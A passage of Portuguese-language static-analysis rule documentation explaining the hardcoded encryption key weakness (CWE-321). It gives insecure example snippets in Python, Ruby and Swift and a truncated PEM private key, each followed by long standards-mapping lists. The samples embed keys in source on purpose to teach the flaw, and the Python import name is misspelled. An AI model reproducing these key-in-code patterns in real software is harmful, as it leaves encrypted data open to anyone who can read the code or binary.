[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.sql.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia HMAC embutidas em código podem comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo. Não apenas a codificação fixa de uma chave de criptografia permite que todos os desenvolvedores do projeto visualizem a chave de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.
Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo para criptografar informações:

...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...


Esse código será executado com êxito, mas qualquer pessoa que tenha acesso a ele terá acesso à chave de criptografia. Após a distribuição do programa, provavelmente não há como alterar a chave de criptografia inserida em código fixo _hardcoded__key_, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações pode usá-las para comprometer dados criptografados pelo sistema.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia HMAC embutidas em código podem comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo. Não apenas a codificação fixa de uma chave de criptografia permite que todos os desenvolvedores do projeto visualizem a chave de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.
Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo:


require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...


Esse código será executado com êxito, mas qualquer pessoa que tenha acesso a ele terá acesso à chave de criptografia. Depois que o programa é distribuído, provavelmente não há como alterar a chave de criptografia inserida em código fixo "hardcoded_encryption_key", a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações pode usá-las para comprometer dados criptografados pelo sistema.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo. Não apenas a codificação fixa de uma chave de criptografia permite que todos os desenvolvedores do projeto visualizem a chave de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo:


...
let encryptionKey = "YELLOW_SUBMARINE"
...
Exemplo 2: O código a seguir realiza a criptografia AES usando uma chave de criptografia em código fixo:


...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...


Qualquer pessoa com acesso ao código tem acesso à chave de criptografia. Depois que o programa for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Se os invasores tivessem acesso ao executável do aplicativo, eles poderiam extrair o valor da chave de criptografia.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[38] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca codifique uma chave de criptografia porque isso torna a chave de criptografia visível para todos os desenvolvedores do projeto e torna a correção do problema extremamente difícil. Alterar a chave de criptografia após o código estar em produção requer uma correção do software. Se a conta que a chave de criptografia protege for comprometida, o proprietário do sistema deverá escolher entre a segurança e a disponibilidade do sistema.

Exemplo 1: O exemplo a seguir mostra uma chave de criptografia em um arquivo .pem:


...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...


Qualquer pessoa com acesso ao código pode ver a chave de criptografia. Depois que o aplicativo for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado ao programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Qualquer invasor com acesso ao executável do aplicativo pode extrair o valor da chave de criptografia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
